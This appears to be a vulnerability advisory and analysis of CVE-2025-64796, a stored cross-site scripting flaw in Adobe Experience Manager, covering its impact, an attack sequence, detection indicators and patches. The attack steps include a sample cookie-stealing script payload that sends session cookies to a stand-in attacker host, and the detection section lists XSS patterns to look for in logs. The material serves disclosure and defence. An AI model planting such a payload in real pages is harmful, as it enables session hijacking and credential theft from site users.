CVE-2025-64796: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64796 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM as a Cloud Service versions prior to 2025.12.0. The vulnerability was disclosed on December 9, 2025, as part of Adobe's security advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

CVE-2025-64796 is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability arises from insufficient sanitization of user-supplied input in AEM form fields, allowing stored XSS payloads to persist and execute in the browsers of users who subsequently visit the affected page. Exploitation requires the attacker to be authenticated with low privileges and requires user interaction (a victim browsing to the page containing the malicious content). The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The changed scope means the impact can extend beyond the AEM application itself. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible via the network.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor role).
3. Inject payload: Navigate to a vulnerable AEM form field (e.g., a content authoring field or component property) and submit a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Payload persistence: The malicious script is stored in the AEM repository and rendered without proper sanitization when the affected page is loaded.
5. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious JavaScript executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing suspicious script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System / Repository: Unexpected <script> tags or JavaScript event handlers stored within AEM JCR (Java Content Repository) nodes, particularly in page properties or component fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading AEM-authored pages, potentially carrying cookie or session data in query parameters.
• Logs: Browser-side console errors or security policy violations (CSP reports) triggered by unexpected script execution on AEM pages.

Adobe has released patches addressing CVE-2025-64796 in AEM 6.5 Service Pack 24 (version 6.5.24.0) and AEM as a Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. No specific configuration-based workaround has been published; upgrading to the patched release is the recommended remediation. Administrators should also review AEM content for any suspicious stored scripts as a precautionary measure (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, recommending prompt patching. Tenable added detection coverage via Nessus plugin 278346. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64796 has been identified, consistent with its medium severity rating and lack of active exploitation (CIS Advisory, Tenable).